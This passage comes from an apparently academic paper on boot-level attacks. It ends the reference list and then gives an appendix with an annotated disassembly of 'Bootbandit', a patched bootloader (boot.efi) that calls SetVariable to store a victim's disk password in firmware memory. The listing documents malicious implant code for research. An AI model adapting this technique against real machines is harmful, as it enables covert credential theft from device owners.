//www.nostarch.com/download/RootkitsandBootkits_sample_Chapter6.pdf
[5] J. Rutkowska, “Evil maid goes after truecrypt!” Oct 2009. [On-
line]. Available: https://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-
after-truecrypt.html
[6] P. Vilaca, “Is there an efi monster inside your apple?” Mar 2015,
slide deck from CODE BLUE 2015 conference in Japan. [Online]. Avail-
able: https://www.slideshare.net/codeblue_jp/is-there-an-efi-monster-inside-
your-apple-by-pedro-vilaa-code-blue-2015
[7] A. O. S. Project, “Verifying boot,” Jul 2017. [Online]. Available: https:
//source.android.com/security/verifiedboot/verified-boot
[8] I. Apple, “ios security,” Mar 2017. [Online]. Available: https://www.apple.com/
business/docs/iOS_Security_Guide.pdf
[9] I. Microsoft, “Secure the windows 8.1 boot process,” 2017. [Online]. Available:
https://technet.microsoft.com/en-us/windows/dn168167.aspx
31
APPENDIX
Bootloader Infection
The disassembly in Listing A.1 is the code used to implement the Bootbandit
bootloader infection. It begins by calling the next instruction to obtain its current
position, which is necessary for finding strings and function pointers. A stack frame is
created at offset 0x0008cf8e, and variables are referenced relative to the rsp register.
The call at offset 0x0008cf97 is the legitimate call to AsciiStrLen to get the length
of the variable, which is stored in the rbx register. The length is stored, and then
the parameters are passed and the SetVariable function is finally called at offset
0x0008cfdd to store the victim’s password in firmware memory.
[0 x0008cf88 95% 265 boot.efi]> pd $r
0x0008cf88 e800000000 call 0x8cf8d
0x0008cf8d 58 pop rax
0x0008cf8e 4883 ec70 sub rsp , 0x70
0x0008cf92 4889442440 mov qword [rsp + 0x40], rax
0x0008cf97 e8e175f8ff call 0x1457d
0x0008cf9c 4889442448 mov qword [rsp + 0x48], rax
0x0008cfa1 4989c1 mov r9 , rax
0x0008cfa4 49 c7c0060000. mov r8, 6
0x0008cfab 488 b442440 mov rax , qword [rsp + 0x40]
0x0008cfb0 4889c1 mov rcx , rax
0x0008cfb3 4889c2 mov rdx , rax
0x0008cfb6 48895 c2420 mov qword [rsp + 0x20], rbx
0x0008cfbb 4881 e935bd04. sub rcx , 0x4bd35
0x0008cfc2 4881 c2f31200. add rdx , 0x12f3
0x0008cfc9 48056 b250000 add rax , 0x256b
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0x0008cfcf 488b00 mov rax , qword [rax]
0x0008cfd2 488 b4058 mov rax , qword [rax + 0x58]
0x0008cfd6 488 d4058 lea rax , [rax + 0x58]
0x0008cfda 488b00 mov rax , qword [rax]
0x0008cfdd ffd0 call rax
0x0008cfdf 90 nop
0x0008cfe0 90 nop
0x0008cfe1 90 nop
0x0008cfe2 90 nop
0x0008cfe3 90 nop
0x0008cfe4 90 nop
0x0008cfe5 90 nop
0x0008cfe6 90 nop
0x0008cfe7 90 nop
0x0008cfe8 90 nop
0x0008cfe9 90 nop
0x0008cfea 90 nop
0x0008cfeb 90 nop
0x0008cfec 90 nop
0x0008cfed 90 nop
0x0008cfee 90 nop
0x0008cfef 90 nop
0x0008cff0 90 nop
0x0008cff1 90 nop
0x0008cff2 90 nop
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0x0008cff3 90 nop
0x0008cff4 488 b442448 mov rax , qword [rsp + 0x48]
0x0008cff9 4883 c470 add rsp , 0x70
0x0008cffd c3 ret
Listing A.1: Bootloader Infection Code Disassembly
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